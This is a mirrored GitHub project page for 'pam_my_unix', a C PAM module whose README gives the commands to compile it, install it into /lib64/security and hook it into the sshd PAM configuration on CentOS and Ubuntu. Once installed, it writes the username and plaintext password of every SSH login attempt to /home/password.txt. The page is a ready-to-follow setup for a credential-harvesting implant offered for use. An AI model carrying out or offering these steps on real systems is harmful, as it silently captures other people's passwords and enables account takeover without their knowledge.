项目作者: lightless233

项目描述 :
A light PAM module to log user's username and password.
高级语言: C
项目地址: git://github.com/lightless233/pam_my_unix.git
创建时间: 2017-04-07T16:54:40Z
项目社区:https://github.com/lightless233/pam_my_unix

开源协议:

下载


PAM_MY_UNIX

How to use

  • Dependency resolution

    CentOS

    1. yum intall pam-devel

    Ubuntu

    1. apt-get intall libpam-dev
  • check password file path
    This module will put username/password to /home/password.txt, you can change it in main.c.
    Just edit const char *log_filename = "/home/password.txt"; and compile this PAM module.

  • compile

    1. cc main.c -o pam_my_unix.so -fPIC -m64 -shared -lpam
  • move to the right directory

    1. cp ./pam_my_unix.so /lib64/security/
  • edit sshd’s pam config.

    CentOS

    1. vim /etc/pam.d/sshd

    And add the next line after the latest auth interface module:

    1. auth optional pam_my_unix.so

    Maybe you file looks like this after you edit it.

    1. ...
    2. auth required pam_unix.so nullok
    3. auth optional pam_my_unix.so
    4. account required pam_nologin.so
    5. account include password-auth
    6. ...

    Ubuntu

    1. cp /etc/pam.d/common-auth /etc/pam.d/sshd-auth
    2. vim /etc/pam.d/sshd-auth

    And the sshd-auth file looks like this below:

    1. auth required pam_unix.so nullok_secure
    2. auth optional pam_my_unix.so
    3. auth required pam_permit.so

    And then edit /etc/pam.d/sshd and change

    1. @include common-auth

    to

    1. @include sshd-auth
  • result
    When someone who is trying to auth via ssh, his username and password will log into a file.
    result